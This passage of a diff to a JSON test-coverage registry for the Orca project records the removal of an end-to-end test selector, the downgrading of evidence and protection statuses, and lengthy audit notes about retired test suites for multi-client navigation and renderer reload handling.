no-startup each) are killed by typecheck. Behaviorally: two paired clients subscribe to runtime.clientEvents. Client A creates a workspace with activate:true; a reposChanged fence emitted after the create must be the next frame each client sees, proving no activation frame was interleaved, while worktreesChanged still arrives on both streams. The host notifier's activateWorktree is asserted not called and the host's mirrored selection is unchanged. Repeated ordinary worktree.activate calls by A are the negative control. The same file asserts the in-process create still reaches host and clients, headed and headless. The Electron journey asserts the observer's data-rendered-active-worktree-id is unchanged while the created workspace still appears in its sidebar.", "commands": [ "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/client/navigation/multi-client-navigation-isolation.integration.test.ts", - "pnpm run test:e2e:multi-client-navigation -- tests/e2e/multi-client-navigation-isolation.spec.ts", "ORCA_BACKGROUND_LAUNCH=1 pnpm test src/main/runtime/client/navigation/multi-client-navigation-isolation.integration.test.ts --maxWorkers=2" ], "testFiles": [ - "src/main/runtime/client/navigation/multi-client-navigation-isolation.integration.test.ts", - "tests/e2e/multi-client-navigation-isolation.spec.ts" + "src/main/runtime/client/navigation/multi-client-navigation-isolation.integration.test.ts" ], "assertionRefs": [ { @@ -3332,12 +3213,6 @@ "keeps create activation caller-scoped on a headless orca serve host", "routes explicit host and paired-client follow intent without changing the default" ] - }, - { - "file": "tests/e2e/multi-client-navigation-isolation.spec.ts", - "assertions": [ - "keeps a paired client workspace create-with-agent off the other client and the host" - ] } ], "evidenceRuns": [ @@ -3353,19 +3228,19 @@ ], "runtimeBudget": { "p95Seconds": 120, - "scope": "two-client WebSocket integration contracts plus one headed Electron two-web-client journey" + "scope": "Historical prior-selector budget; changed E2E selectors have no new runtime measurement. two-client WebSocket integration contracts plus one headed Electron two-web-client journey" }, "flakeHistory": { - "status": "unknown", - "evidence": "Audit3918: Historical evidence for the original source only; no fresh validation of the reduced Electron selector. New contracts. The integration file is fence-ordered rather than timing-based and passed repeatedly locally; the Electron journey passed twice locally on macOS. CI and soak history have not started." + "status": "not-started", + "evidence": "No fresh soak for changed E2E selectors. Historical account: Audit3918: Historical evidence for the original source only; no fresh validation of the reduced Electron selector. New contracts. The integration file is fence-ordered rather than timing-based and passed repeatedly locally; the Electron journey passed twice locally on macOS. CI and soak history have not started." }, "redGreenEvidence": { - "status": "complete", - "evidence": "Audit3918: Historical evidence for the original source only; no fresh validation of the reduced Electron selector. Both layers were observed red on origin/main 4ec6bbf588 before any fix: the observer client received ['worktreesChanged', 'activateWorktree'] instead of the fence, and the Electron observer's data-rendered-active-worktree-id resolved to the workspace the other client had just created. Both went green with the caller scoping and red again when only resolveRuntimeNavigationTarget's clientKind input was removed." + "status": "missing", + "evidence": "No fresh red/green execution for changed E2E selectors. Historical account: Audit3918: Historical evidence for the original source only; no fresh validation of the reduced Electron selector. Both layers were observed red on origin/main 4ec6bbf588 before any fix: the observer client received ['worktreesChanged', 'activateWorktree'] instead of the fence, and the Electron observer's data-rendered-active-worktree-id resolved to the workspace the other client had just created. Both went green with the caller scoping and red again when only resolveRuntimeNavigationTarget's clientKind input was removed." }, "performanceBudget": { "required": false, - "evidence": "The change adds one enum resolution per create request and two boolean checks before an existing fan-out. No new listeners, subscriptions, provider calls, or timers; the client-event fan-out itself is unchanged in shape and frequency." + "evidence": "Historical prior-selector account; changed E2E selectors have no new performance measurement. The change adds one enum resolution per create request and two boolean checks before an existing fan-out. No new listeners, subscriptions, provider calls, or timers; the client-event fan-out itself is unchanged in shape and frequency." }, "promotionCriteria": [ "Collect CI soak history for the Electron journey on macOS plus at least one Linux run.", @@ -3388,7 +3263,10 @@ "Audit1313: src/main/runtime/rpc/methods/worktree-create-navigation.test.ts: Fake runtime creation/show/dedupe under real RPC decoder only inspects forwarded navigation option matrices, with duplicate desktop case. Lose runtime/mobile/legacy CLI/follow/all navigation authority wiring; no rendered reveal. Reduced selectors require fresh validation; prior full-suite receipts do not validate removed or changed coverage. No equivalent replacement or physical-provider claim.", "Audit1313 retired the complete dated receipt after source coverage changed. Its result does not validate the reduced selector. Original receipt verbatim:\n{\n \"date\": \"2026-08-18\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/multi-client-navigation-isolation.integration.test.ts src/main/runtime/rpc/methods/worktree-create-navigation.test.ts\",\n \"result\": \"passed\",\n \"durationSeconds\": 6,\n \"summary\": \"Eleven paired-runtime contracts pass, including the headless orca-serve shape, the in-process reveal non-regression, and the CLI-shaped explicit all-surface reveal. With the caller scoping removed the observer's stream carried activateWorktree instead of the fence.\"\n }", "Audit1931 (sources1928/1929): Partial real local-loopback multi-client suite loses supplied device-metadata attribution, direct worktree-local navigation, focused terminal-create projection and crossed-two-server inventory alarms. Retire the worktree-local alias and the stale host-originated reveal-to-all alias: no surviving callback backs that positive reveal claim; the retained host-create callback instead excludes paired observers. Keep the five exact caller-only create, explicit all-surface, reconnect non-replay, headless caller-only and follow-intent aliases. No equivalent replacement or external remote-host journey is assigned. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Exact retired authored alarms: 'attributes workspace creation to each authenticated device across reconnect'; 'keeps worktree navigation local to each paired runtime client by default'; 'normalizes a paired focused terminal.create before host-renderer activation'; 'isolates crossed clients across two runtime servers'.", - "Audit1931 historical original assertionRefs object, preserved verbatim; retired objects are not active evidence or replacement coverage:\n{\n \"file\": \"src/main/runtime/multi-client-navigation-isolation.integration.test.ts\",\n \"assertions\": [\n \"keeps a paired client workspace create-with-activate off every other client and the host\",\n \"still reveals to every client when a paired caller asks for all-surface navigation\",\n \"does not replay a missed create activation to a reconnecting observer\",\n \"keeps create activation caller-scoped on a headless orca serve host\",\n \"still reveals a host-originated create-with-activate on the host and every client\",\n \"keeps worktree navigation local to each paired runtime client by default\",\n \"routes explicit host and paired-client follow intent without changing the default\"\n ]\n }" + "Audit1931 historical original assertionRefs object, preserved verbatim; retired objects are not active evidence or replacement coverage:\n{\n \"file\": \"src/main/runtime/multi-client-navigation-isolation.integration.test.ts\",\n \"assertions\": [\n \"keeps a paired client workspace create-with-activate off every other client and the host\",\n \"still reveals to every client when a paired caller asks for all-surface navigation\",\n \"does not replay a missed create activation to a reconnecting observer\",\n \"keeps create activation caller-scoped on a headless orca serve host\",\n \"still reveals a host-originated create-with-activate on the host and every client\",\n \"keeps worktree navigation local to each paired runtime client by default\",\n \"routes explicit host and paired-client follow intent without changing the default\"\n ]\n }", + "E2E layout cleanup: original active selector metadata is historical, not current validation:\ncommands: [\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/client/navigation/multi-client-navigation-isolation.integration.test.ts\",\n \"pnpm run test:e2e:multi-client-navigation -- tests/e2e/multi-client-navigation-isolation.spec.ts\",\n \"ORCA_BACKGROUND_LAUNCH=1 pnpm test src/main/runtime/client/navigation/multi-client-navigation-isolation.integration.test.ts --maxWorkers=2\"\n ]\ntestFiles: [\n \"src/main/runtime/client/navigation/multi-client-navigation-isolation.integration.test.ts\",\n \"tests/e2e/multi-client-navigation-isolation.spec.ts\"\n ]\nassertionRefs: [\n {\n \"file\": \"src/main/runtime/client/navigation/multi-client-navigation-isolation.integration.test.ts\",\n \"assertions\": [\n \"keeps a paired client workspace create-with-activate off every other client and the host\",\n \"still reveals to every client when a paired caller asks for all-surface navigation\",\n \"does not replay a missed create activation to a reconnecting observer\",\n \"keeps create activation caller-scoped on a headless orca serve host\",\n \"routes explicit host and paired-client follow intent without changing the default\"\n ]\n },\n {\n \"file\": \"tests/e2e/multi-client-navigation-isolation.spec.ts\",\n \"assertions\": [\n \"keeps a paired client workspace create-with-agent off the other client and the host\"\n ]\n }\n ]", + "E2E layout cleanup intentionally removes whole CUT registrations without assertion salvage or equivalent replacement. Surviving remapped selectors are unexecuted future work at the future serial parent (actual parent null): {\"commands\":[\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/client/navigation/multi-client-navigation-isolation.integration.test.ts\",\"ORCA_BACKGROUND_LAUNCH=1 pnpm test src/main/runtime/client/navigation/multi-client-navigation-isolation.integration.test.ts --maxWorkers=2\"],\"testFiles\":[\"src/main/runtime/client/navigation/multi-client-navigation-isolation.integration.test.ts\"],\"assertionRefs\":[{\"file\":\"src/main/runtime/client/navigation/multi-client-navigation-isolation.integration.test.ts\",\"assertions\":[\"keeps a paired client workspace create-with-activate off every other client and the host\",\"still reveals to every client when a paired caller asks for all-surface navigation\",\"does not replay a missed create activation to a reconnecting observer\",\"keeps create activation caller-scoped on a headless orca serve host\",\"routes explicit host and paired-client follow intent without changing the default\"]}]}", + "Historical declared scope before this cleanup: {\"protection\":\"partial\",\"coveredPlatforms\":[\"linux\"],\"coveredProviders\":[\"local\",\"orca-server\"],\"redGreenEvidence\":{\"status\":\"complete\",\"evidence\":\"Audit3918: Historical evidence for the original source only; no fresh validation of the reduced Electron selector. Both layers were observed red on origin/main 4ec6bbf588 before any fix: the observer client received ['worktreesChanged', 'activateWorktree'] instead of the fence, and the Electron observer's data-rendered-active-worktree-id resolved to the workspace the other client had just created. Both went green with the caller scoping and red again when only resolveRuntimeNavigationTarget's clientKind input was removed.\"},\"flakeHistory\":{\"status\":\"unknown\",\"evidence\":\"Audit3918: Historical evidence for the original source only; no fresh validation of the reduced Electron selector. New contracts. The integration file is fence-ordered rather than timing-based and passed repeatedly locally; the Electron journey passed twice locally on macOS. CI and soak history have not started.\"},\"runtimeBudget\":{\"p95Seconds\":120,\"scope\":\"two-client WebSocket integration contracts plus one headed Electron two-web-client journey\"},\"performanceBudget\":{\"required\":false,\"evidence\":\"The change adds one enum resolution per create request and two boolean checks before an existing fan-out. No new listeners, subscriptions, provider calls, or timers; the client-event fan-out itself is unchanged in shape and frequency.\"}}" ], "demotionRule": "Demote if a create, activate, or reveal path can move a viewer that did not request it, or if scoping regresses the in-process/CLI reveal that a headless server's only remote viewer depends on." }, @@ -3485,7 +3363,7 @@ "id": "runtime.renderer-graph-reload-termination", "title": "Renderer graph reloads terminate under exact document and window authority", "maturity": "experimental", - "protection": "partial", + "protection": "none", "owner": "runtime-platform", "layer": "electron-runtime-contract", "surfaces": [ @@ -3495,109 +3373,35 @@ ], "platforms": ["macos", "linux", "windows"], "providers": ["local", "daemon", "ssh", "paired-runtime"], - "coveredPlatforms": ["macos"], - "coveredProviders": ["local", "daemon", "paired-runtime"], - "coverageNotes": "Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit5736 removes whole runtime/SSH IPC test suites from active selectors, accepting fake-window frame/contract/VM/upload cancellation and fake-transport SSH state/forward ownership alarms without equivalent replacement or fresh execution. Remaining dated evidence keeps its exact independent selector scope. Historical prior account (preserved verbatim): Audit5644 integrates source audit5640: retire the whole renderer sync-runtime-graph-payload-partition suite and its active command/testFiles selectors. Intentionally lose failed graph publication acknowledgement/memo retry of changed worktree payloads and unchanged worktree resync self-republication alarms. Remaining main/E2E selectors retain only their own scope; no equivalent replacement, fresh execution, platform or remote evidence is claimed. Complete original selectors are preserved in knownGaps. Historical prior account (preserved verbatim): Audit5594 removes the entire src/main/window/renderer-relays/runtime-renderer-notification-sender.test.ts suite and its active selectors. Intentionally lose disposed-frame containment, reload/cancel resume and closed-sender refusal alarms without equivalent replacement or fresh gate evidence. Historical prior account follows: Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. Audit3417 composes root-adopted3415v2/independent3416v2: intentionally removes117authored/173potential expanded registrations from12semantic sources, deleting4whole conventional suites and3registration modules and retaining4authored/5expanded cases, without equivalent replacement or fresh execution. The whole main-window attach-services suite is removed: runtime/window attach, notifier wiring, reload/teardown and permission-handler mock orchestration alarms are intentionally lost. Prune its exact deleted command selectors, testFiles entries and notifier assertionRef where present; complete prior selectors/ref are archived. Unrelated dated receipts remain exact and retain their original scope; no fresh reduced-selector, native-window or remote execution is claimed. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Deterministic lifecycle, IPC, window-notification, and runtime ownership tests cover generation replacement, stale callbacks, same-frame old-document publication, blocked external navigation, cancelled renderer navigation, concurrent provisional starts, process loss, timeout cleanup, headless fallback, and competing windows. Isolated macOS Electron validation covers cancelled navigation, forced renderer recovery, and headless serve promotion with live daemon-backed PTY identity and I/O. Linux, Windows, WSL, SSH promotion, and mixed-version desktop/server live runs remain uncollected; the renderer generation stays local to Electron IPC and does not change the remote wire. The renderer scheduling fixture now retains in-flight coalescing only, and payload partitioning retains publication-failure and main-dropped-worktree retry. Immediate publication, stale SSH cleanup, reconnect resync and isolated partition membership alarms were removed; other lifecycle evidence does not establish equivalent coverage. Audit1312 removes low-value imported specs from aggregate test drivers; old whole-driver execution receipts are archived. Retained registrations are unchanged. No equivalent replacement coverage is claimed. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1400: src/renderer/src/runtime/sync-runtime-graph-scheduling.test.ts removed. Removes whole coalescing call-count suite; no newest-state delivery or replacement claim. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result.\nWindow folder cleanup retires the mock-call-only navigation fence suite and the per-generation warning-count case. Retained sender results and existing rendered checks keep their own original scope; no equivalent replacement or fresh execution is claimed here. Prospective settings-host12 runtime-ipc110 reduction: The runtime compatibility driver is intentionally narrowed by runtime-ipc110 whole-registration policy: four imported TEST fragments are retired and reviewed partial fragments lose complete callbacks. Full path/title/hash and lost-alarm records are bound in the local runtime-ipc110 recipe. This is an import-closure disclosure; command filters may select only part of that driver. All remaining selectors keep only their own bounded scope. Preserve every earlier narrative, historical assertion receipt and dated evidenceRun exactly. Historical runs do not validate the reduced registration set; no fresh test, timing, runtime or whole-gate pass is claimed.", + "coveredPlatforms": [], + "coveredProviders": [], + "coverageNotes": "No current executed protection is claimed after E2E layout cleanup. Historical account: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit5736 removes whole runtime/SSH IPC test suites from active selectors, accepting fake-window frame/contract/VM/upload cancellation and fake-transport SSH state/forward ownership alarms without equivalent replacement or fresh execution. Remaining dated evidence keeps its exact independent selector scope. Historical prior account (preserved verbatim): Audit5644 integrates source audit5640: retire the whole renderer sync-runtime-graph-payload-partition suite and its active command/testFiles selectors. Intentionally lose failed graph publication acknowledgement/memo retry of changed worktree payloads and unchanged worktree resync self-republication alarms. Remaining main/E2E selectors retain only their own scope; no equivalent replacement, fresh execution, platform or remote evidence is claimed. Complete original selectors are preserved in knownGaps. Historical prior account (preserved verbatim): Audit5594 removes the entire src/main/window/renderer-relays/runtime-renderer-notification-sender.test.ts suite and its active selectors. Intentionally lose disposed-frame containment, reload/cancel resume and closed-sender refusal alarms without equivalent replacement or fresh gate evidence. Historical prior account follows: Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. Audit3417 composes root-adopted3415v2/independent3416v2: intentionally removes117authored/173potential expanded registrations from12semantic sources, deleting4whole conventional suites and3registration modules and retaining4authored/5expanded cases, without equivalent replacement or fresh execution. The whole main-window attach-services suite is removed: runtime/window attach, notifier wiring, reload/teardown and permission-handler mock orchestration alarms are intentionally lost. Prune its exact deleted command selectors, testFiles entries and notifier assertionRef where present; complete prior selectors/ref are archived. Unrelated dated receipts remain exact and retain their original scope; no fresh reduced-selector, native-window or remote execution is claimed. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Deterministic lifecycle, IPC, window-notification, and runtime ownership tests cover generation replacement, stale callbacks, same-frame old-document publication, blocked external navigation, cancelled renderer navigation, concurrent provisional starts, process loss, timeout cleanup, headless fallback, and competing windows. Isolated macOS Electron validation covers cancelled navigation, forced renderer recovery, and headless serve promotion with live daemon-backed PTY identity and I/O. Linux, Windows, WSL, SSH promotion, and mixed-version desktop/server live runs remain uncollected; the renderer generation stays local to Electron IPC and does not change the remote wire. The renderer scheduling fixture now retains in-flight coalescing only, and payload partitioning retains publication-failure and main-dropped-worktree retry. Immediate publication, stale SSH cleanup, reconnect resync and isolated partition membership alarms were removed; other lifecycle evidence does not establish equivalent coverage. Audit1312 removes low-value imported specs from aggregate test drivers; old whole-driver execution receipts are archived. Retained registrations are unchanged. No equivalent replacement coverage is claimed. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1400: src/renderer/src/runtime/sync-runtime-graph-scheduling.test.ts removed. Removes whole coalescing call-count suite; no newest-state delivery or replacement claim. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result.\nWindow folder cleanup retires the mock-call-only navigation fence suite and the per-generation warning-count case. Retained sender results and existing rendered checks keep their own original scope; no equivalent replacement or fresh execution is claimed here. Prospective settings-host12 runtime-ipc110 reduction: The runtime compatibility driver is intentionally narrowed by runtime-ipc110 whole-registration policy: four imported TEST fragments are retired and reviewed partial fragments lose complete callbacks. Full path/title/hash and lost-alarm records are bound in the local runtime-ipc110 recipe. This is an import-closure disclosure; command filters may select only part of that driver. All remaining selectors keep only their own bounded scope. Preserve every earlier narrative, historical assertion receipt and dated evidenceRun exactly. Historical runs do not validate the reduced registration set; no fresh test, timing, runtime or whole-gate pass is claimed.", "motivatingLinks": [ "https://github.com/stablyai/orca/issues/14066", "https://linear.app/stably/issue/STA-4016", "https://github.com/stablyai/orca/pull/14070" ], "invariant": "Every genuine renderer graph reload revision settles exactly once, while a blocked external navigation that preserves the current document never starts a revision. A cancelled renderer-document navigation restores authority only when that same renderer survived; cancellation after an earlier document committed remains fenced until publication or timeout. Replacing a reload cancels only the prior revision; its timer and callbacks cannot settle a newer revision. A desktop reload succeeds only from a publication carrying a new renderer-document generation, while a failed headless promotion may recover only from its originating window. Timeout, renderer loss, and close reach a terminal graph state, and successful desktop publication permanently retires headless sentinel fallback until a new headless runtime is established.", - "oracle": "Runtime layout cleanup intentionally retires the removed compatibility callbacks and wholly removed fragments without replacement coverage. The compatibility entrypoint retains only its surviving registration scope. Existing independent dated receipts remain at their original commands and scopes; no fresh runtime, native, remote or platform execution is claimed. Prior account preserved verbatim: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit5644 integrates source audit5640: retire the whole renderer sync-runtime-graph-payload-partition suite and its active command/testFiles selectors. Intentionally lose failed graph publication acknowledgement/memo retry of changed worktree payloads and unchanged worktree resync self-republication alarms. Remaining main/E2E selectors retain only their own scope; no equivalent replacement, fresh execution, platform or remote evidence is claimed. Complete original selectors are preserved in knownGaps. Historical prior account (preserved verbatim): Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3832 deliberately retires76 authored/79 finite cases:75 runtime compatibility cases/78 finite cases across14 fragments, plus one localization extractor default-flag case. Three whole runtime fragments are deleted;27 authored/30 finite cases remain across the reviewed sources. This gate retains only its own selected scope; no equivalent replacement or fresh runtime/native/remote evidence is claimed. Runtime component A: Audit3828 composes3822 with independent3824: deliberately retires49 authored/52 finite cases from seven compatibility fragments, leaving15 authored/18 finite cases and deleting two entire fragments. Accepted losses: positive folder-worker recovery/materialization and reveal deadline; persisted-key normalization and legacy split/group/focus projection; fixed stale CAS refusal; occupied/alias/restored/preallocated terminal-handle variants; fixed 